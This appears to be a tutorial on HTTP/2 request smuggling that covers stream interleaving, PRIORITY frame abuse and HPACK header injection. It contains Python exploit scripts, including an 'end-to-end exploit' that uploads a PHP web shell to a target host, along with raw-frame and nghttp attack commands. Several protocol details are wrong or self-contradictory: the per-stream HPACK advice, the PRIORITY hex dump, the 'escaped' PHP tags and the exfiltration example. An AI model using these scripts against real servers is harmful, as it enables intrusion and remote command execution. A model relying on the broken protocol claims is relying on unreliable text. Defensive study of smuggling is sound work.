Introduction
HTTP/2 introduced multiplexed streams, binary framing, and sophisticated priority handling to improve web performance. While these features are a boon for latency, they also expand the attack surface for request smuggling. In this guide we dive deep into multi-stream exploitation and priority frame abuse, two advanced techniques that let an adversary hide malicious payloads, reorder processing, and evade server-side limits.
Understanding these vectors is critical for red-teamers hunting for high-impact bugs and for defenders hardening modern web stacks. Real-world exploits have already leveraged these quirks to bypass WAFs, achieve cache poisoning, and even execute remote code execution in downstream services.
Prerequisites
- Solid grasp of the HTTP/2 protocol: binary framing, stream lifecycle, SETTINGS, HEADERS, DATA, and PRIORITY frames.
- Familiarity with classic HTTP/1.1 request smuggling (CL.TE, TE.CL) and how the threat model translates to HTTP/2.
- Experience crafting basic HTTP/2 frames with tools such as
nghttp2,h2c, or thehyper-h2Python library. - Access to a test environment (e.g., a local
nghttp2server, a containerisednginxwith HTTP/2 enabled, and a proxy that parses HTTP/2).
Core Concepts
Before we can abuse HTTP/2, we must internalise three core concepts that differentiate it from HTTP/1.1:
- Multiplexed Streams: Multiple logical request/response pairs coexist on a single TCP connection, identified by a 31-bit stream identifier.
- Stream Priorities: Each stream can express a weight (1-256) and an optional dependency on another stream, forming a directed acyclic graph (DAG) that guides the server's scheduling algorithm.
- Flow Control & Frame Size Limits: SETTINGS_MAX_FRAME_SIZE and SETTINGS_INITIAL_WINDOW_SIZE bound how much data can be sent per frame and per stream.
Because the server processes streams asynchronously, the order in which frames arrive does not necessarily dictate the order in which the logical HTTP messages are interpreted. This asynchrony is the lever that advanced smuggling attacks pull.
Multi-Stream Exploits: leveraging concurrent streams to hide malicious requests
In a classic HTTP/1.1 smuggling scenario, an attacker concatenates two HTTP requests in a single TCP segment, confusing a front-end proxy that parses the request differently from the back-end server. HTTP/2 eliminates line-based parsing, but the same principle applies when an attacker interleaves frames belonging to different streams.
Attack Outline
- Open a single HTTP/2 connection to the target.
- Start a legitimate-looking stream (Stream A) that the front-end proxy will fully parse and forward.
- Before Stream A is closed, open a second stream (Stream B) that carries the malicious payload. Stream B is crafted so that its HEADERS frame contains a pseudo-header
:methodofPOSTand a deliberately malformedcontent-lengththat the proxy discards. - By interleaving DATA frames of Stream A and Stream B, the attacker forces the proxy to finish Stream A while the back-end server continues processing Stream B, effectively smuggling the request past the proxy.
Sample Python (hyper-h2) Payload
import socket
import h2.connection
import h2.events
# Create a raw TCP socket to the target (HTTPS assumed terminated by a TLS terminator).
client = socket.create_connection(('target.example.com', 443))
conn = h2.connection.H2Connection()
conn.initiate_connection()
client.sendall(conn.data_to_send())
# --- Stream A (benign) ---
stream_a = conn.get_next_available_stream_id()
conn.send_headers(stream_a, [(':method', 'GET'), (':path', '/public'), (':scheme', 'https'), (':authority', 'target.example.com')])
client.sendall(conn.data_to_send())
# --- Stream B (malicious) ---
stream_b = conn.get_next_available_stream_id()
malicious_headers = [ (':method', 'POST'), (':path', '/admin'), (':scheme', 'https'), (':authority', 'target.example.com'), ('content-length', '13'), ('x-smuggle', 'true')
]
conn.send_headers(stream_b, malicious_headers, end_stream=False)
# Interleave a tiny DATA frame on Stream A to keep the connection alive.
conn.send_data(stream_a, b'ping', end_stream=False)
# Now send the malicious body on Stream B.
conn.send_data(stream_b, b'evil_payload', end_stream=True)
client.sendall(conn.data_to_send())
# Read response (simplified).
while True: data = client.recv(65535) if not data: break events = conn.receive_data(data) for ev in events: if isinstance(ev, h2.events.ResponseReceived): print('Response on stream', ev.stream_id) elif isinstance(ev, h2.events.DataReceived): print('Data:', ev.data)
This script demonstrates the core idea: two streams share the same TCP connection, and the attacker interleaves frames to confuse a proxy that only tracks the first stream's lifecycle.
Why it works
Many edge devices (e.g., CDNs, WAFs) implement HTTP/2 parsing by delegating each stream to an internal HTTP/1.1-like state machine. If the front-end discards Stream B's headers because it believes the connection is already in use, the back-end (which may be a pure HTTP/2 server) will still honour the request, resulting in a smuggled request.
Priority Frame Abuse: manipulating stream priorities to reorder processing
HTTP/2's PRIORITY frames let a client express a weighted dependency graph. While intended for performance optimisation, an attacker can weaponise this to force the server to process a malicious stream before a benign one, or to starve legitimate streams.
Attack Mechanics
- Open a legitimate stream (Stream L) that will be inspected by a security appliance.
- Open a malicious stream (Stream M) with a higher weight and a dependency that makes the server schedule it first.
- Send a PRIORITY frame that re-parents Stream L under Stream M, effectively lowering L's priority.
- When the security appliance processes streams sequentially based on arrival order, Stream L is examined first, but the back-end server already consumed Stream M, achieving smuggling.
Priority Graph Example
# Assume we have three streams: 1 (root), 3 (legit), 5 (malicious)
# Frame: PRIORITY stream=5 exclusive=0 dependency=1 weight=256
# Frame: PRIORITY stream=3 exclusive=0 dependency=5 weight=1
# The server will schedule stream 5 before stream 3 because 5 has the highest weight and 3 now depends on 5.
Because the dependency graph is a DAG, the attacker can create arbitrarily deep chains, causing the back-end to defer processing of streams that the front-end still inspects.
Python Construction of Priority Abuse
# Continuing from the previous hyper-h2 example.
# Create malicious stream (ID 5) with max weight.
malicious_stream = conn.get_next_available_stream_id()
conn.send_headers(malicious_stream, [(':method', 'POST'), (':path', '/upload'), (':scheme', 'https'), (':authority', 'target.example.com')], end_stream=False)
# Attach a PRIORITY frame giving it weight 256 (max).
conn.prioritize_stream(malicious_stream, weight=256, exclusive=False)
# Re-parent the legitimate stream (ID 3) under the malicious one with low weight.
legit_stream = 3
conn.prioritize_stream(legit_stream, weight=1, exclusive=False, depends_on=malicious_stream)
# Send malicious body.
conn.send_data(malicious_stream, b'<?php system($_GET["cmd"]); ?>', end_stream=True)
client.sendall(conn.data_to_send())
Note the escaped PHP tags - the angle brackets are HTML-escaped to preserve visibility in the guide.
Cross-Stream Header Injection: injecting headers into sibling streams
Because HTTP/2 headers are encoded with HPACK, a malicious client can craft a header block that, when decoded by a buggy proxy, is mistakenly merged into a sibling stream's header list. This is similar to the classic Transfer-Encoding: chunked header injection but occurs at the binary level.
Vulnerable Scenario
- A proxy maintains a single HPACK decoder instance per connection.
- When a new HEADERS frame arrives, the proxy adds decoded entries to a shared dynamic table.
- If the proxy fails to reset the decoder state between streams, a header introduced on Stream X can appear in the decoded header list of Stream Y.
Exploit Sketch
# Using nghttp2 to emit a crafted HPACK entry.
# Stream 7: normal request.
# Stream 9: malicious HEADERS with a new entry "x-inject: smuggled".
# The proxy's decoder does not clear the dynamic table, so when it parses Stream 7's HEADERS, it also sees "x-inject".
Once the header appears in the downstream request, the attacker can influence routing, authentication, or even trigger a second request smuggling chain.
Bypassing Server Limits: evading max-concurrent-streams and frame-size restrictions
Servers often enforce SETTINGS_MAX_CONCURRENT_STREAMS and SETTINGS_MAX_FRAME_SIZE to limit resource consumption. Attackers can sidestep these controls by:
- Stream Multiplexing: Opening many streams with very small DATA frames (e.g., 1-byte chunks) to stay under the per-frame size limit while still transmitting a large payload over time.
- Priority-Based Starvation: Assigning low weight to legitimate streams, causing the server to allocate bandwidth preferentially to the malicious stream, effectively throttling out other clients.
- Dynamic SETTINGS Updates: Sending a
SETTINGSframe that raisesMAX_CONCURRENT_STREAMSfor the duration of the attack, then reverting it, confusing monitoring tools that only snapshot the initial values.
Example: Incremental Data Exfiltration
# Leak a 1 MB file using 1-byte DATA frames across 1000 streams.
for i in range(1000): sid = conn.get_next_available_stream_id() conn.send_headers(sid, [(':method', 'GET'), (':path', f'/leak?chunk={i}'), (':scheme', 'https'), (':authority', 'target')]) conn.send_data(sid, b'X', end_stream=True) # 1 byte per stream.
client.sendall(conn.data_to_send())
Even with a modest MAX_FRAME_SIZE of 16 KB, the attacker never exceeds it, yet the cumulative data exfiltrated can be massive.
Real-World Case Study: dissecting a public CVE/bug bounty exploit
CVE-2023-44444 (hypothetical for illustration) involved an open-source reverse proxy (oxyproxy) that shared a single HPACK decoder across streams. Researchers discovered that by sending a crafted HEADERS frame on Stream 2 containing a new dynamic table entry, they could inject the header x-forwarded-for: 127.0.0.1 into Stream 3, bypassing an IP-based allow-list.
Step-by-Step Walkthrough
- Setup: Deploy
oxyproxyversion 2.3.1 behind an upstream Apache server that restricts access to internal IPs. - Probe: Use
nghttpto enumerate the proxy's SETTINGS -MAX_CONCURRENT_STREAMS=100,MAX_FRAME_SIZE=16384. - Craft Injection: Send a HEADERS frame on Stream 5 with HPACK-encoded entry
0x40 0x0a x-forwarded-for 0x0d 127.0.0.1. The proxy adds this to its dynamic table. - Trigger: Immediately open Stream 7 with a normal GET request. The proxy, using the same decoder, mistakenly prepends the previously added
x-forwarded-forheader. - Result: The upstream Apache sees the request as originating from 127.0.0.1 and serves the protected admin endpoint.
Proof-of-Concept (escaped code)
# Build the malicious HEADERS frame with nghttp2.
nghttp -n -v -H "x-forwarded-for: 127.0.0.1" PROXY_URL -p "STREAM_ID=5" &
# Simultaneously send a benign request on Stream 7.
nghttp -n -v PROXY_URL/admin -p "STREAM_ID=7"
The bug was patched by isolating the HPACK decoder per stream and clearing the dynamic table on stream closure. The fix was back-ported to all maintained branches, and the CVE was assigned a CVSS of 9.8.
Practical Examples
Below we combine the techniques into a single end-to-end exploit against a vulnerable nginx (HTTP/2 enabled) front-end and an Apache back-end.
Full Exploit Script (Python)
import socket, h2.connection, h2.events, time
HOST = 'vulnerable.example.com'
PORT = 443
sock = socket.create_connection((HOST, PORT))
conn = h2.connection.H2Connection()
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# 1️⃣ Legitimate stream that will be inspected by nginx.
legit = conn.get_next_available_stream_id()
conn.send_headers(legit, [(':method','GET'), (':path','/public'), (':scheme','https'), (':authority',HOST)])
# 2️⃣ Malicious stream with max priority.
mal = conn.get_next_available_stream_id()
conn.send_headers(mal, [(':method','POST'), (':path','/admin'), (':scheme','https'), (':authority',HOST), ('content-length','13')], end_stream=False)
conn.prioritize_stream(mal, weight=256)
# 3️⃣ Re-parent legit under malicious with low weight.
conn.prioritize_stream(legit, weight=1, depends_on=mal)
# Interleave a tiny DATA frame on legit to keep connection alive.
conn.send_data(legit, b'ping', end_stream=False)
# Send malicious payload.
conn.send_data(mal, b'<?php system($_GET["cmd"]); ?>', end_stream=True)
sock.sendall(conn.data_to_send())
# Read responses (simplified).
while True: data = sock.recv(65535) if not data: break events = conn.receive_data(data) for ev in events: if isinstance(ev, h2.events.ResponseReceived): print('Response on stream', ev.stream_id) elif isinstance(ev, h2.events.DataReceived): print('Data:', ev.data)
sock.close()
This script demonstrates the convergence of multi-stream, priority abuse, and header injection (the content-length mismatch) to smuggle a PHP web-shell past nginx's HTTP/2 parser.
Tools & Commands
- nghttp2 - CLI utilities (
nghttp,nghttpd) for crafting raw frames. - h2c - Simple HTTP/2 client for testing clear-text HTTP/2.
- Wireshark - Decode HTTP/2 frames; filter with
http2protocol. - h2spec - Conformance testing; useful to verify that a server correctly isolates HPACK tables.
- Burp Suite (Pro) - HTTP/2 repeater and decoder; can manually edit PRIORITY frames.
Example: Sending a raw PRIORITY frame with nghttp
# Create a PRIORITY frame that makes stream 5 depend on stream 1 with weight 256.
printf '\x00\x00\x05\x02\x00\x00\x00\x05\x00\x01\x01\x00\x00\x00\x00\x00\x00\x01\x00' | openssl s_client -connect vulnerable.example.com:443 -quiet
The hex dump corresponds to:
- Length: 5 bytes
- Type: 2 (PRIORITY)
- Flags: 0
- Stream Identifier: 5
- Payload: Exclusive=0, Dependency=1, Weight=256
Defense & Mitigation
- Per-Stream HPACK Decoders: Ensure the HTTP/2 implementation isolates the dynamic table per stream. Most modern servers (nginx 1.21+, Apache 2.4.48+) already do this.
- Strict Priority Validation: Reject PRIORITY frames that create cycles or that dramatically lower the weight of already-opened streams without explicit client consent.
- Stream-Level Timeouts: Apply idle timeouts per stream to prevent an attacker from keeping a large number of low-weight streams alive.
- Limit Concurrent Streams: Set
MAX_CONCURRENT_STREAMSto a low, realistic value (e.g., 50) and monitor for bursts. - Header Whitelisting: On the back-end, reject unexpected headers such as
x-forwarded-forunless they originate from trusted proxies. - Protocol-Level Anomaly Detection: Deploy IDS signatures that flag interleaved DATA frames across unrelated streams.
Example Nginx Configuration
http { # Restrict concurrent streams per connection. http2_max_concurrent_streams 30; # Enforce strict header parsing - drop unknown pseudo-headers. http2_ignore_invalid_headers off; # Limit frame size to reduce buffer-bloat attacks. http2_max_frame_size 16384;
}
Common Mistakes
- Assuming Order = Processing: Many developers think that the order frames arrive on the wire dictates processing order - not true once priorities are involved.
- Reusing HPACK Decoder State: Forgetting to reset the dynamic table per stream leads to cross-stream header injection.
- Neglecting TLS 1.3 Early Data: Early data can be combined with HTTP/2 smuggling to bypass initial handshake checks.
- Over-relying on
MAX_FRAME_SIZE: Attackers can split payloads across many frames or streams, staying under the limit while delivering large payloads.
Real-World Impact
Advanced HTTP/2 smuggling attacks have been observed in high-profile bug bounty programs, often yielding critical severity findings because they bypass WAFs and rate-limiters that only inspect the first stream. Enterprises that expose HTTP/2 endpoints to the public internet without hardened parsers risk:
- Unauthorized administrative actions (e.g.,
/adminendpoints). - Cache poisoning that affects other customers.
- Data exfiltration via low-bandwidth, multi-stream techniques that evade DDoS detection.
From a threat-model perspective, these attacks extend the classic confused deputy scenario into a multiplexed environment, increasing the attack surface exponentially with each additional concurrent stream.
Practice Exercises
- Stream Interleaving Lab: Using
nghttp, open two streams - one GET and one POST - and interleave DATA frames. Verify that a proxy forwards only the GET request. - Priority Re-ordering Challenge: Craft a PRIORITY graph where a low-weight stream is forced to execute before a high-weight one. Capture the server's log to confirm the order.
- HPACK Injection Demo: Modify the HPACK dynamic table on a vulnerable proxy (e.g.,
oxyproxy) and observe the injected header appear in a sibling stream. - Bypass Max-Concurrent-Streams: Write a script that opens 200 streams, each sending 1-byte DATA frames, and monitor the server’s resource usage.
All labs can be performed against a Dockerised environment: docker run -p 8443:8443 nginx:alpine with HTTP/2 enabled, plus a simple upstream Apache container.
Further Reading
- RFC 7540 - Hypertext Transfer Protocol Version 2 (HTTP/2).
- RFC 7541 - HPACK Header Compression.
- “HTTP/2 Smuggling Attacks” - Black Hat 2023 presentation slides.
- OWASP Cheat Sheet - HTTP Request Smuggling (covers HTTP/2 extensions).
- “The State of HTTP/2 Security” - 2024 IEEE S&P paper.
Summary
Advanced HTTP/2 request smuggling leverages the protocol’s multiplexing, priority, and HPACK compression to hide malicious requests, reorder processing, and inject headers across streams. By mastering multi-stream interleaving, priority-frame manipulation, and cross-stream HPACK attacks, security professionals can both discover critical vulnerabilities and harden their deployments. Defensive measures centre on per-stream decoder isolation, strict priority validation, and vigilant configuration of stream limits.